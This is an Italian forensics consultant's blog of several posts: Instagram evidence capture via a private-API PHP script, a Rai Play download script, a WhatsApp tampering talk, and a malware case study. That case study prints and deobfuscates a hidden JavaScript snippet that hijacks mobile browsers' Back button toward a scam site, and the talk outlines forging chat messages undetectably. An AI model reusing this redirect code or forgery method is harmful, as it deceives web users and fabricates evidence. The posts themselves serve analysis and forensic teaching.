La tua prima app Android e iOS con Ionic Framework

Chi mi segue abitualmente già lo sa, da tempo partecipo come relatore a ESC, un incontro non-profit di persone interessate al Software e Hardware Libero, all’Hacking e al DIY che si svolge a fine estate presso Forte Bazzera, vicino a Venezia.

Nel 2016 ho parlato di ricostruzione forense di NTFS, nel 2017 di Gimp e della comunità Ask Ubuntu e nel 2018 di un sistema di build automatizzato per realizzare una distribuzione Linux forense come Caine.

Anche quest’anno ho voluto dedicarmi allo sviluppo software, stavolta però ho proposto un talk riguardante la creazione di app per le piattaforme Android e iOS usando tecnologie web:

La tua prima app Android e iOS con Ionic Framework

Moltissime applicazioni per smartphone hanno una struttura simile e abbastanza semplice. Lo sviluppo nativo richiederebbe di programmarle con linguaggi e ambienti diversi a seconda della piattaforma. Ionic Framework è una piattaforma di sviluppo gratuita e open source che permette di usare una sola codebase esportando poi app ibride per Android, iOS e browser.

Il talk è stato pubblicato su YouTube, mentre potete scaricare il codice di esempio su GitHub. Sono disponibili anche le slide in formato PDF.

Ovviamente, non perdetevi gli altri talk sul canale ufficiale ESC, perché erano tutti estremamente interessanti!

Se la vostra azienda ha bisogno di un’app ma non ha il tempo o le risorse per svilupparla internamente, potete sempre contattarmi cliccando qui.

Clicca qui per mostrare contenuto da YouTube.
Scopri di più nella privacy policy di YouTube.

Acquisizione forense di un profilo Instagram

Al giorno d’oggi capita sempre più frequentemente di dover acquisire delle prove dai siti web, in particolar modo dai social network. Ci si trova quindi a dover “cristallizzare” il contenuto di una pagina prima che venga alterato oppure cancellato.

Il caso più classico è quello della diffamazione a mezzo Internet: la vittima del fatto ha la necessità di certificare l’offesa alla propria reputazione, avvenuta tramite un commento su un blog o un post su Facebook.

Un’altra circostanza piuttosto frequente è la tutela della proprietà intellettuale e industriale. Le pagine social aziendali attirano potenziali clienti e sono un ottimo strumento di marketing. Dei soggetti terzi potrebbero sfruttare illecitamente marchi, foto di prodotti o contenuti altrui a proprio vantaggio.

Quest’ultimo è un caso che mi è capitato recentemente: la pagina Instagram di un’azienda è stata indebitamente acceduta da una persona che se ne è appropriata, cambiandone il marchio e i dati di contatto. Questo fatto ha comportato l’alterazione di dati informatici (vedasi art. 635 bis c.p.), nonché un evidente danno all’azienda in quanto si è vista sottrarre anche numerose foto dei propri prodotti e i follower della pagina.

Lo screenshot non basta

In tutti questi casi c’è da fare una breve ma importantissima precisazione. Purtroppo alcune persone ritengono ancora sufficiente l’utilizzo degli screenshot come “prova” in un procedimento civile o penale. Il pensiero comune è:

Ho fatto lo screenshot! Ora lo trasmetto al mio avvocato e ti querelo!

Questo ragionamento fa acqua da tutte le parti.

Uno screenshot, vale a dire l’immagine dello schermo (o presunta tale) che “cattura” il contenuto di un sito web o una chat, non si può considerare una prova valida.

Il contenuto di una schermata può essere infatti alterato sia prima che dopo aver prodotto lo “scatto”. Tutto questo non richiede conoscenze tecniche particolarmente elevate, specialmente per le pagine web.

Se non vi ho convinto, potete sempre farmi i complimenti per la mia nomina a “Persona dell’anno 2019”. 😉

Esempio di screenshot assolutamente falso, creato solamente per scopi illustrativi

Ovviamente avrete capito che l’immagine qui sopra non è reale. Ma il punto è che si tratta veramente di una notizia comparsa online, che però è stata modificata prima di catturare la schermata.

Questa è una operazione alla portata di molti (se non quasi tutti), ma anche la modifica dell’immagine a posteriori è un rischio non indifferente.

Per questi motivi, la raccolta della prova che un contenuto è stato pubblicato non si può limitare a uno screenshot. Si deve procedere a cristallizzare la pagina in modo adeguato, prima che venga ulteriormente modificata o rimossa.

Acquisizione di base con i siti di archiviazione

Quasi tutti i profili Instagram sono pubblicamente accessibili. Questo perché Instagram è una vetrina dove le aziende possono rendersi visibili e condividere foto dei prodotti o altri contenuti interessanti per aumentare il proprio seguito.

Anche le persone non iscritte possono vedere i profili, utilizzando un semplice browser web. Pertanto, queste pagine si possono cristallizzare in modo semplice come molti altri siti.

Prendiamo ad esempio il profilo della nota catena statunitense Target: https://www.instagram.com/target/

Il modo più facile di cristallizzare pagine pubbliche come questa è adoperare i siti di archiviazione. Questi strumenti forniscono all’utente la possibilità di inserire l’indirizzo (URL) di un documento informatico pubblicato sul web, producendone quindi una copia informatica.

I principali sono:

Esistono anche degli strumenti molto più sofisticati e costosi, come ad esempio FAW, usati professionalmente da chi si occupa di digital forensics. Tuttavia, qui mi voglio focalizzare su degli strumenti di base e relativamente semplici.

I siti di archiviazione sono mezzi gratuiti e alla portata di tutti, che permettono di agire in fretta quando si teme che un contenuto compromettente possa essere cancellato, anche prima di essersi rivolti a un consulente tecnico specializzato e/o a un avvocato.

Per acquisire un contenuto con Wayback Machine, bisogna inserirne l’URL nell’apposito modulo di salvataggio, attivare l’opzione che salva anche lo screenshot e poi procedere col pulsante Save Page.

Cristallizzazione di una pagina con la Wayback Machine

A questo punto, Wayback Machine simulerà l’azione di un vero browser e acquisirà il contenuto della pagina comprensivo di codice sorgente (HTML, CSS, JS) e risorse statiche (immagini e eventuali allegati PDF).

Al termine della procedura, si otterranno due link permanenti che certificano lo stato della pagina al momento del salvataggio:

Con Archive.today la procedura è molto simile, con la differenza che si ottiene un unico link da cui si può vedere una riproduzione fedele della pagina e la relativa schermata.

Nel nostro esempio: https://archive.md/0kTgO

Generalmente le pagine cristallizzate con Archive.today sono un pochino più fedeli all’originale, ma non è una regola ferrea e va presa con le pinze. In ogni caso, le pagine acquisite con Wayback Machine conservano i nomi originali dei file multimediali (che potrebbero essere assai importanti).

Pertanto è spesso opportuno provare a fare l’acquisizione con entrambi gli strumenti, salvando poi gli URL delle copie così ottenute. I due siti forniscono anche gli screenshot, ma essi sono solamente a supporto dell’acquisizione e non la sostituiscono.

Una cosa utile da ricordare è che le pagine salvate su Archive.today possono venire indicizzate dai motori di ricerca. Per questo motivo, potrebbe essere preferibile non usare questo strumento se si ha a che fare con dei contenuti diffamatori.

Usando questa semplice procedura siamo già in una situazione mille volte migliore di chi si ritrova ad aver catturato solo una schermata.

Estrazione dei metadati

Apparentemente, quanto discusso prima sembra coprire al 100% la necessità di acquisire un profilo Instagram. Ma se avete mai adoperato questo social network tramite app, vi sarà venuta in mente la frase idiomatica:

There is more than meets the eye

Infatti il problema fondamentale in questo caso è che un profilo Instagram visualizzato tramite pagina web non contiene tutte le informazioni ottenibili con l’app.

Per esempio, ecco cosa succede con la versione iOS di Instagram:

Target ha indicato un numero di telefono e un indirizzo email che compaiono tramite il tasto Contatta. Tuttavia non c’è traccia di questi dati nella versione web di Instagram. Questo significa che sarebbe impossibile acquisirli dal sito, anche usando strumenti professionali.

Per ovviare a questo problema, possiamo attuare una procedura che simula il comportamento dell’applicazione ufficiale di Instagram usando le relative API private.

Questa parte è più complessa ed è dedicata agli addetti ai lavori, in quanto richiede la realizzazione di un piccolo software.

Dopo aver registrato un account di test su Instagram, possiamo creare un breve programma in linguaggio PHP che sfrutti la libreria Instagram-API. Prima di tutto, è necessario installare la libreria con Composer:

composer require mgp25/instagram-php

Poi si può adattare uno dei tanti semplici esempi già forniti su GitHub. In particolare, bisogna instanziare la classe e provvedere al login con l’utente di prova:

$ig = new \InstagramAPI\Instagram();
try {
    $ig->login($username, $password);
} catch (\Exception $e) {
    echo 'Something went wrong: ' . $e->getMessage() . "\n";
    exit(0);
}

Poi si possono richiedere tutti i metadati del profilo Instagram:

$ig->debug = true;
$userId = $ig->people->getUserIdForName('target');
$information = $ig->people->getInfoById($userId);

L’output sarà simile al seguente:

GET:  https://i.instagram.com/api/v1/users/209372398/info/
→ 0B
← 200 	 1.28kB
RESPONSE: {"user": {"pk": 209372398, "username": "target", "full_name": "Target", "is_private": false, "profile_pic_url": "https://instagram.fmxp1-1.fna.fbcdn.net/v/t51.2885-19/s150x150/10616997_545412705606932_1457477944_a.jpg?_nc_ht=instagram.fmxp1-1.fna.fbcdn.net\u0026_nc_ohc=qznruIvb6aYAX9yMilW\u0026oh=ffd42565e3e93beec8d527f54e17f72c\u0026oe=5EABFBBC", "is_verified": true, "has_anonymous_profile_picture": false, "media_count": 1647, "geo_media_count": 0, "follower_count": 4259469, "following_count": 5011, "following_tag_count": 12, "biography": "Your happy place on Instagram. \u2728\nTag @Target in your pics for a chance to be featured.\nShop our feed:", "biography_with_entities": {"raw_text": "Your happy place on Instagram. \u2728\nTag @Target in your pics for a chance to be featured.\nShop our feed:", "entities": [{"user": {"id": 209372398, "username": "target"}}]}, "external_url": "http://tgt.biz/ShopTarget", "external_lynx_url": "https://l.instagram.com/?u=http%3A%2F%2Ftgt.biz%2FShopTarget\u0026e=ATPSau2TC3aUeL8YfryH5-RiMm6G6Tpd07GDJANXe9moIp23lH-fHFfJd7EPb-PlwqdxztXSpN8bAEYPpw", "total_igtv_videos": 7, "has_igtv_series": false, "total_ar_effects": 0, "usertags_count": 2829304, "is_favorite": false, "is_favorite_for_stories": false, "is_favorite_for_highlights": false, "live_subscription_status": "default", "is_interest_account": true, "has_recommend_accounts": false, "has_chaining": true, "hd_profile_pic_url_info": {"url": "https://instagram.fmxp1-1.fna.fbcdn.net/v/t51.2885-19/10616997_545412705606932_1457477944_a.jpg?_nc_ht=instagram.fmxp1-1.fna.fbcdn.net\u0026_nc_ohc=qznruIvb6aYAX9yMilW\u0026oh=955504de4807130f11983896ece1e7a4\u0026oe=5E9D0CC6", "width": 180, "height": 180}, "mutual_followers_count": 0, "show_shoppable_feed": true, "shoppable_posts_count": 253, "can_be_reported_as_fraud": true, "merchant_checkout_style": "none", "has_highlight_reels": true, "direct_messaging": "UNKNOWN", "fb_page_call_to_action_id": "", "address_street": "", "business_contact_method": "CALL", "category": "Retail Company", "city_id": 0, "city_name": "", "contact_phone_number": "+18004400680", "is_call_to_action_enabled": false, "latitude": 0.0, "longitude": 0.0, "public_email": "target.SocialMedia@target.com", "public_phone_country_code": "1", "public_phone_number": "8004400680", "zip": "", "instagram_location_id": "", "is_business": true, "account_type": 2, "can_hide_category": true, "can_hide_public_contacts": true, "should_show_category": true, "should_show_public_contacts": true, "should_show_tabbed_inbox": false, "can_see_primary_country_in_settings": false, "include_direct_blacklist_status": true, "is_potential_business": true, "is_bestie": false, "has_unseen_besties_media": false, "show_account_transparency_details": true, "show_leave_feedback": false, "auto_expand_chaining": false, "highlight_reshare_disabled": false, "show_post_insights_entry_point": false, "about_your_account_bloks_entrypoint_enabled": false}, "status": "ok"}

In particolare, all’interno della risposta JSON è possibile individuare i seguenti campi:

"public_email": "target.SocialMedia@target.com",
"public_phone_country_code": "1",
"public_phone_number": "8004400680",

Consiglio di prestare molta attenzione al codice numerico instagram_location_id, anche se non è sempre presente. Questo valore è estremamente interessante perché permette di collegare una pagina Instagram a una pagina Facebook.

Prendendo come esempio l’account Instagram ikeauk, si ottiene il codice 187578611279774, da cui si ricava immediatamente un valido URL su Facebook: https://www.facebook.com/187578611279774/

Considerazioni finali

Grazie ai siti di archiviazione è possibile procedere a una prima cristallizzazione “di base” di un profilo Instagram. Simulando invece il comportamento dell’app per cellulari si può accedere a molti altri metadati, non altrimenti visibili.

L’ultimo consiglio che vi posso dare è quello di unire la procedura in PHP all’uso di mitmproxy per registrare tutti i flussi HTTPS intercorsi durante l’acquisizione. Vi basterà avviarlo e assicurarvi che il proxy sia correttamente impostato nel codice PHP:

$ig->setProxy('http://127.0.0.1:8080');
$ig->setVerifySSL(false);

Così facendo, potrete finalizzare il lavoro producendo il file registrato da mitmproxy, lo script di acquisizione, il relativo output ridirezionato in un file di testo e un breve report in PDF dentro a un archivio ZIP. Alla fine basterà apporre la firma digitale e la marca temporale.


Aggiornamento del 6 gennaio 2020: in seguito al graditissimo suggerimento di Paolo Dal Checco, ho aggiunto una precisazione sul fatto che le pagine memorizzate da Archive.today sono indicizzabili dai motori di ricerca.

Introduzione all’intelligenza artificiale — Video del talk

Il 26 ottobre ho partecipato come relatore al Linux Day 2019 organizzato dal Gruppo Utenti GNU/Linux di Vicenza. Il filo conduttore di quest’anno era l’intelligenza artificiale e i video dei vari interventi sono stati poi pubblicati anche su YouTube.

Il mio intervento aveva un carattere piuttosto introduttivo, con lo scopo di presentare una panoramica della disciplina:

Introduzione all’intelligenza artificiale

Questo intervento si propone di fornire ai partecipanti una panoramica chiara, completa e divulgativa sull’Intelligenza Artificiale e la Computer Vision. Partendo da un’introduzione sui concetti di base, verrà spiegato il funzionamento base del Machine Learning e la sua implementazione attraverso le reti neurali. Non mancheranno cenni alle applicazioni quotidiane dell’Intelligenza Artificiale, inclusa la classificazione, la segmentazione e il riconoscimento dei testi.

Mi auguro che questo talk abbia permesso di fare un po’ di chiarezza, sottolineando come l’intelligenza artificiale abbia del potenziale enorme, ma non è perfetta e non è magia. Soprattutto, i robot non conquisteranno il mondo. 😀

Questo è il video su YouTube, come sempre di ottima qualità grazie al lavoro di montaggio di Stefano del LUG Vicenza:

Clicca qui per mostrare contenuto da YouTube.
Scopri di più nella privacy policy di YouTube.

Il materiale usato per la presentazione è una versione lievemente rivista di ciò che avevo presentato l’anno scorso nel ciclo di incontri Dieci volti dell’Informatica. Lo potete visionare cliccando qui.

Scaricare i video da Rai Play — L’ultimissimo script

Chi segue questo blog da un po’ di tempo sa che nel 2010 avevo pubblicato il mio primo script per salvare i video dal portale Rai, proseguendo poi nel 2012 con un secondo script rinnovato.

Erano tempi bui, in cui gli utenti Linux non potevano neppure vedere facilmente i programmi per via di Silverlight. Lo script aveva lo scopo di integrare e far riprodurre i video MP4 e i flussi MMS tramite un player nativo, per esempio VLC.

Ora i tempi sono cambiati e il sito si è evoluto numerose volte in questi ultimi 7 anni, così come i browser che usiamo per navigare. Adesso i video si possono vedere senza problemi su tutte le piattaforme, ma le numerose modifiche effettuate continuamente nell’arco di tutto questo tempo hanno reso lo script precedente sempre più complicato e difficile da gestire.

Con la nuova grafica di Rai Play ho tagliato i rami secchi, eliminando il supporto a vecchie versioni del sito, vecchi browser e vecchie abitudini di programmazione. Insomma, è stato riscritto tutto daccapo. 😀

Funzionamento dello script

Il mio script vi consente di scaricare i video da Rai Play senza dover fare alcun login. In tal caso, inibisce la finestra che invita l’utente ad accedere e attiva la navigazione quando si clicca sulle miniature dei video.

Il pulsante per i download viene inserito in due zone diverse:

  • sotto alla scheda di un episodio
  • all’interno del player video (vale solo per chi fa il login)

Quando viene premuto il pulsante, parte il processo di ricerca del video MP4. Se viene trovato un file, lo script mostra una finestra modale con il link al video. Altrimenti compare un messaggio di errore.

Estensione per il browser

Prima di installarlo, dovete aggiungere l’estensione adatta al vostro browser. Lo script è sviluppato espressamente per Greasemonkey (versione 4) e Tampermonkey, sui browser rilasciati negli ultimi 2 anni.

Altre piattaforme potrebbero funzionare ma non sono testate né è garantito alcunché. In base al vostro browser, potete usare:

Installazione dello script

A questo punto vi basta recarvi alla pagina di download per installare lo script, premendo il pulsante qui sotto. Nella pagina che si aprirà, dovrete cliccare Installa questo script.

Rai Play video download

Note importanti

Come sempre, ricordate che lo script può funzionare solo se la Rai ha caricato il file in MP4, e non sempre lo fanno. Questo non dipende da me perciò non scandalizzatevi.

Lo script funziona solo ed esclusivamente su Rai Play. Se volete continuare a scaricare da altre sezioni del sito Rai, dovrete installare il vecchio script (che ora viene esplicitamente marcato come Legacy) seguendo il post precedente.

Se vi piace lo script e lo ritenete uno strumento utile, vi ricordo che potete cliccare qui per eventuali donazioni.

Aggiornamenti futuri

Il vecchio script Rai.tv native video player and direct links – LEGACY non sarà più aggiornato. Potete naturalmente continuare a usarlo lo stesso, visto che attualmente funziona perfettamente per le altre sezioni del sito Rai.

Per quanto riguarda il nuovo Rai Play video download, vedremo per il futuro.

Come capita a ogni cambio del sito da parte della Rai, ultimamente sto notando interventi di tutti i tipi. Si passa dai commenti gentili e pazienti, a email più o meno insistenti… fino a qualche intervento al limite del passivo-aggressivo di persone che chiaramente non hanno la minima idea del lavoro che c’è dietro a tutto questo.

C’è chi mi scambia per un maggiordomo aspettandosi un aggiornamento a uno schiocco di dita (o all’invio di un commento sui social) e chi pensa che sia dovuto, scontato, ovvio che io passi il weekend a programmare uno script invece di spenderlo con gli amici.

A costo di dire qualcosa di sorprendente, io ho anche altro da fare. 😀 Dall’esperienza di questi anni sto imparando che pubblicare gli script che realizzo per me (come quelli delle TV) è sempre un rischio e porta poi a perdere un sacco di tempo in aggiornamenti e modifiche varie. Ho intitolato questo post (non a caso) “l’ultimissimo script” perché è anche un buon auspicio per il futuro. 😉

Quindi lo script continuerà ad essere quello che è sempre stato: un hobby. Ci lavoro se ho tempo, se ne ho voglia e se poi torna utile anche a me. 🙂

Come sempre, buona visione a tutti!

Lo strano caso delle promozioni truffa che infettano i siti web senza “bucarli”

Vi è mai capitato di navigare sul web da smartphone e all’improvviso ritrovarvi pagine pubblicitarie che si aprono da sole o addirittura appaiono nella cronologia senza averle mai visitate prima?

Vi avevo già parlato di come bloccare le pubblicità sui dispositivi Android, però questo fenomeno di “intrusione” nella lista di pagine visitate è piuttosto subdolo e a volte può capitare ugualmente. La cosa dà particolarmente fastidio quando gli utenti del vostro sito iniziano a lamentarsi del fenomeno.

Questo è proprio ciò che è successo ad un cliente: visitando il suo sito web da smartphone, la pagina si apriva correttamente. Navigando non si notava nulla, fino al momento di premere il tasto Indietro del browser. A quel punto, l’ignaro utente era inesorabilmente dirottato verso una pagina pubblicitaria camuffata da promozione Amazon.

Screenshot che rappresenta un presunto "Concorso Promozionale Amazon"
La finta promozione Amazon comparsa alla pressione del tasto Indietro

La richiesta che mi veniva posta era individuare la causa di questa “infezione” e rimuovere le pubblicità. Sembrava trattarsi di un classico caso di bonifica di siti web compromessi, come ne affronto abitualmente.

Tuttavia, a seguito di una veloce verifica, è risultato chiaro che il sito non era stato “bucato”. Nonostante ci siano malintenzionati che scansionano frequentemente la rete alla ricerca di siti con WordPress, Drupal oppure Joomla non aggiornati (o con plug-in vulnerabili) per violarli e infettarli, qui non era accaduto nulla del genere.

Lo sviluppo web con il tempo sta prendendo una direzione sempre più complessa e di conseguenza aumentano i componenti e le librerie che vengono usate nel lavoro. Chi ha sviluppato la grafica e le funzionalità del sito ha reputato opportuno usare alcune librerie Javascript, la maggior parte delle quali “interne”, quindi salvate direttamente nello spazio web associato al dominio in esame.

Nel verificare i file richiamati però spiccava invece un componente esterno, apparentemente innocuo e legato alla gestione della richiesta di consenso per l’uso dei cookie:

<!-- Begin Cookie Consent plugin by Silktide - http://silktide.com/cookieconsent -->
<!-- cookie conset latest version -->
<script type="text/javascript" src="https://s3-eu-west-1.amazonaws.com/assets.cookieconsent.silktide.com/current/plugin.min.js"></script>

Andando a vedere il contenuto del file, non compare nulla di buono. Il codice è chiaramente offuscato, non semplicemente compresso, cosa che dovrebbe far nascere dei seri sospetti sulla sua legittimità:

var _0xc368=["\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x74\x65\x73\x74","","\x23","\x70\x75\x73\x68\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x6F\x2E\x32\x63\x65\x6E\x74\x72\x61\x6C\x2E\x69\x63\x75\x2F\x3F\x75\x74\x6D\x5F\x6D\x65\x64\x69\x75\x6D\x3D\x35\x62\x66\x35\x30\x35\x65\x61\x32\x62\x65\x63\x30\x66\x61\x32\x30\x34\x33\x38\x31\x31\x65\x30\x30\x39\x62\x66\x39\x65\x35\x66\x30\x35\x32\x31\x32\x32\x39\x32\x26\x75\x74\x6D\x5F\x63\x61\x6D\x70\x61\x69\x67\x6E\x3D\x32\x63\x65\x6E\x74\x72\x61\x6C\x26\x31\x3D","\x72\x65\x70\x6C\x61\x63\x65"];if(/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i[_0xc368[1]](navigator[_0xc368[0]])){!function(){var _0xa9b1x1;try{for(_0xa9b1x1= 0;10> _0xa9b1x1;++_0xa9b1x1){history[_0xc368[4]]({},_0xc368[2],_0xc368[3])};onpopstate= function(_0xa9b1x1){_0xa9b1x1[_0xc368[5]]&& location[_0xc368[7]](_0xc368[6])}}catch(o){}}()}

Il trucco di mascherare i comandi utilizzando le entità esadecimali è abbastanza diffuso, ma è anche semplice da analizzare. Il metodo “pigro” è quello di usare Online JavaScript Beautifier e ottenere un codice decisamente più leggibile:

if (/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi/i ['test'](navigator['userAgent'])) {
    ! function() {
        var _0xa9b1x1;
        try {
            for (_0xa9b1x1 = 0; 10 > _0xa9b1x1; ++_0xa9b1x1) {
                history['pushState']({}, '', '#')
            };
            onpopstate = function(_0xa9b1x1) {
                _0xa9b1x1['state'] && location['replace']('http://to.2central.icu/?utm_medium=5bf505ea2bec0fa2043811e009bf9e5f05212292&utm_campaign=2central&1=')
            }
        } catch (o) {}
    }()
}

Ahia! Questa nefandezza si può riassumere in parole molto semplici:

  • se l’utente sembra navigare da un dispositivo mobile, allora aggiungi 10 voci vuote alla cronologia delle pagine precedenti
  • quando viene premuto il tasto Indietro, rimpiazza la pagina corrente con un URL che rimanda alla pagina truffaldina

In questo caso la soluzione da prospettare al cliente è relativamente semplice: basta eliminare il riferimento allo script incriminato e sostituirlo con un altro codice che chieda il consenso per i cookie.

Quando si utilizza uno script ospitato su server di terze parti, dovete tenere a mente che in futuro il contenuto potrebbe cambiare. Per esempio, quel dominio potrebbe essere violato o semplicemente scadere e venire registrato da qualcun altro che ci inserirà codice malevolo. È quindi consigliabile linkare da fonti esterne solo script veramente fidati, per minimizzare i rischi e le brutte figure.

Avete un sito web che è stato violato, invia spam o manifesta altri comportamenti strani? Cliccate qui per contattarmi e parliamone.

Come i malintenzionati potrebbero falsificare i messaggi WhatsApp

Il 31 maggio si è tenuto il seminario ONIF (Osservatorio Nazionale Informatica Forense) a Firenze, intitolato Orizzonte 2020 — Informatica Forense a supporto di Autorità Giudiziaria, Studi Legali, Aziende, Forze dell’Ordine e Privati.

In quell’occasione, ho voluto proporre un intervento riguardante il tampering dei messaggi WhatsApp, con alcune osservazioni sul rilevamento di queste manomissioni e le eventuali conseguenze pratiche. Lo scopo non era certo quello di dichiarare “inammissibile” in tribunale qualsiasi tipo di conversazione WhatsApp, ma solo porre alcune riflessioni sul significato e l’affidabilità che si dà a questo tipo di evidenze.

Mi sembrava interessante parlarne, anche considerando che a volte ci si è trovati di fronte a casi in cui persino gli screenshot sono stati considerati come elementi di prova validi (va ricordato che scientificamente non lo sono e non possono esserlo).

Nell’informatica forense è sempre utile interrogarsi su come potrebbero agire i malintenzionati per alterare o fabbricare prove digitali fasulle. Questo ci aiuta a ragionare su ciò che analizziamo e considerare tutto quanto con spirito critico.

Durante il talk Conseguenze e rilevamento del tampering sui messaggi WhatsApp, ho proposto due esperimenti per cercare di capire se fosse possibile:

  • modificare il testo di un messaggio ricevuto da un’altra persona, a vantaggio del destinatario
  • creare un messaggio finto, mai realmente ricevuto, e inserirlo nel proprio telefono in una conversazione con un’altra persona

Clicca qui per mostrare contenuto da YouTube.
Scopri di più nella privacy policy di YouTube.

Video integrale dell’intervento

Entrambi gli esperimenti sono stati effettuati sul database SQLite delle chat, trasferito su un dispositivo di lavoro tramite backup Google. Il trasferimento ci permette di lavorare su un dispositivo sottoposto a rooting anche quando lo smartphone originale non è “sbloccato”.

La modifica di un messaggio esistente è relativamente semplice, in quanto risulta sufficiente cercare il testo originale, modificarlo e salvare. Per quanto riguarda la creazione di un messaggio fasullo, essa richiede invece più attenzione. È necessario modificare gli id di tutti i messaggi successivi affinché non venga rilevata la manomissione.

In ogni caso, con un po’ di precisione e perseveranza, un malintenzionato potrebbe alterare i messaggi nelle proprie chat WhatsApp senza lasciare tracce visibili, per esempio inserendo illecitamente finti messaggi di minaccia insinuando poi di averli davvero ricevuti.

Maggiori dettagli sui procedimenti accennati sono presentati nel video dell’intervento disponibile su YouTube, nonché nelle slide che potete scaricare qui sotto.

Scarica le slide

Nella parte finale del video esprimevo stupore sul fatto che il mio contatto non avesse visualizzato notifiche sul codice di sicurezza cambiato. Due partecipanti al convegno mi hanno fatto notare come WhatsApp tenga disattivate queste notifiche, come impostazione di default. Li ringrazio per avermi chiarito questo dettaglio, che mi era totalmente sfuggito.

Seminario ONIF “Orizzonte 2020” — Firenze, 31/05/2019

L’associazione ONIF (Osservatorio Nazionale Informatica Forense) ha pubblicato il programma del convegno Orizzonte 2020 — Informatica Forense a supporto di Autorità Giudiziaria, Studi Legali, Aziende, Forze dell’Ordine e Privati. Il seminario si terrà il 31 maggio a Firenze, presso la Sala Verde di Palazzo Incontri, Via de Pucci 1, 50122 Firenze.

L’agenda è ricca di interventi molto interessanti, sia sul piano tecnico-scientifico che su quello legislativo. Questo è il programma completo:

  • 9:00 — Registrazione
  • 9:15 — Apertura lavori
    Banca Intesa Sanpaolo, Fondazione Forense di Firenze, Dott. Nanni Bassetti, Segretario Nazionale ONIF
  • 9:30 — Le nuove regole e la revisione dell’albo CTU del Tribunale di Firenze
    Ufficio di Presidenza del Tribunale di Firenze
  • 10:00 — Il Netherlands Register of Court Experts (NRGD)
    Dott. Mattia Epifani
  • 10:30 — Legge 48/2008, attesa quanto ignorata: dieci anni di casi reali
    Ing. Paolo Reale, Avv. Elisabetta Guarnieri
  • 11:00 — Break
  • 11:20 — Analisi di dispositivi mobile: stato attuale, integrazione con il cloud e difficoltà future
    Ing. Michele Vitiello, Dott. Paolo Dal Checco
  • 11:40 — Rilevamento e conseguenze delle manomissioni sui messaggi WhatsApp
    Dott. Andrea Lazzarotto
  • 12:00 — Digital Forensics Data Breach: perché gestire la violazione dei dati in maniera forense
    Dott. Alessandro Fiorenzi
  • 12:20 — Immagini e video digitali come fonte di prova
    Dott. Massimo luliani
  • 12:40 — Saluti e chiusura

Per partecipare all’evento è necessario procedere all’iscrizione gratuita sulla piattaforma EventBrite, facendo click sul seguente bottone.

Iscrizione gratuita

Forensics Europe Expo 2019: due giorni di fiera e seminari sulle scienze forensi

Il 5 e 6 marzo a Londra si è svolta la Forensics Europe Expo 2019, un evento focalizzato sulle analisi scientifiche, la scena del crimine, le attrezzature da laboratorio e la digital forensics. La manifestazione ha fatto parte della più ampia cornice della UK Security Week, nella quale erano presenti anche altre expo riguardanti la sicurezza e l’anti-terrorismo.

Entrambe le giornate sono state caratterizzate da un fitto programma di seminari, la maggior parte dei quali riguardanti l’informatica forense. Rimaneva perciò poco tempo per visitare gli stand degli espositori, ma sono comunque soddisfatto perché ho assistito a quasi tutti gli interventi e sono riuscito a dare un’occhiata ai vari padiglioni.

La mattina di martedì è cominciata in grande stile, con dei controlli di sicurezza analoghi a quelli di un aeroporto. Nonostante la puntualità dei partecipanti, la fila per la scansione a raggi X ha fatto perdere a gran parte del pubblico quasi tutto l’intervento di Stuart Hutchinson riguardante l’analisi di partizioni APFS. È stato un vero peccato.

Tanya Pankova ha affrontato una delle applicazioni più “succulente” in ambito forense, con il talk WhatsApp Forensics: evidence hide-and-seek. Tra gli spunti più interessanti spiccano il fatto che i file multimediali nei backup sul cloud non sono criptati, la possibilità di usare il token WhatsApp per decifrare qualsiasi backup associato a uno specifico numero e l’estrazione delle chat sfruttando il QR-code di WhatsApp Web.

I droni stanno aumentando di popolarità, tanto da essere stati oggetto di due interventi diversi, rispettivamente di Harsh Behl e Paul Baxter. Questi apparecchi ricadono nella categoria dei dispositivi mobili e contengono soprattutto file multimediali e tracciati GPS in formato DAT. L’acquisizione molto spesso si rivela la parte più semplice, mentre l’analisi dei dati richiede maggiore impegno.

Un sistema di rilevamento per droni degno di un film di fantascienza

David Spreadborough di Amped ha illustrato le problematiche che gli agenti di polizia si trovano spesso ad affrontare quando devono analizzare i filmati delle telecamere di videosorveglianza. Nella maggior parte dei casi non servono strumenti avanzati, ma l’obiettivo essenziale è decodificare agevolmente i video, effettuare semplici operazioni (ritaglio, zoom, deinterlacciamento) ed esportare dei fotogrammi.

Al pomeriggio Dusan Kozusnik ha presentato un intervento dal titolo Advanced phone forensics – unlocking phones and getting maximum evidence, fornendo una panoramica generale sull’analisi forense degli smartphone. Dopo aver affrontato una carrellata di tecniche avanzate di accesso ai dati, ha concluso con uno spunto davvero interessante: dopo l’acquisizione, la vera sfida è l’interpretazione dei dati racchiusi nelle app, incluse quelle meno comuni.

Le operazioni di acquisizione forense devono comunque essere svolte in modo corretto, per questo Oleg Afonin le ha affrontate nel talk iOS Forensics: from logical acquisition to cloud extraction sottolineando in particolare cosa (non) bisogna fare quando si sequestra un dispositivo iOS.

Alessandro Di Carlo di BIT4LAW ha proposto un breve intervento intitolato Forensic readiness and digital forensics evidence in the Italian court, focalizzandosi in particolare sulle peculiarità del sistema giudiziario italiano. Nello specifico, la riproducibilità scientifica della prova assume un’importanza assoluta mentre non trovano spazio le testimonianze degli expert witness nel modo in cui si svolgono nei sistemi anglosassoni.

David Toy ha proposto una tecnica per la ricerca di specifici elementi di “contrabbando” basata su un hashing statistico dei blocchi, fornendo tempi di risposta molto più veloci rispetto alle classiche ricerche che sfruttano gli hash di interi file. Infine, Paola Pietrobon di SecureCube ha concluso la giornata con un approfondimento relativo al funzionamento delle celle e all’analisi dei tabulati telefonici.

La seconda giornata ha avuto un taglio decisamente più scientifico

La giornata di mercoledì è stata dedicata in gran parte al workshop di DigForAsp (Digital forensics: evidence analysis via intelligent systems and practices), un progetto scientifico finanziato dal programma Horizon 2020 dell’Unione Europea. L’agenda è stata ricca di interventi molto interessanti e a contenuto veramente informatico.

I talk si rivolgevano pertanto a un pubblico con almeno alcune conoscenze matematiche di livello universitario, al fine di presentare il lavoro dei ricercatori presenti. Questo mi ha lasciato perplesso: a mio parere i contenuti scientifici erano molto validi ma il format non si è rivelato ottimale. I minuti disponibili per ogni intervento erano pochi e venivano spesi per presentare frettolosamente la parte teorica e matematica, relegando le applicazioni in ambito di informatica forense a brevi cenni che avrebbero meritato più spazio.

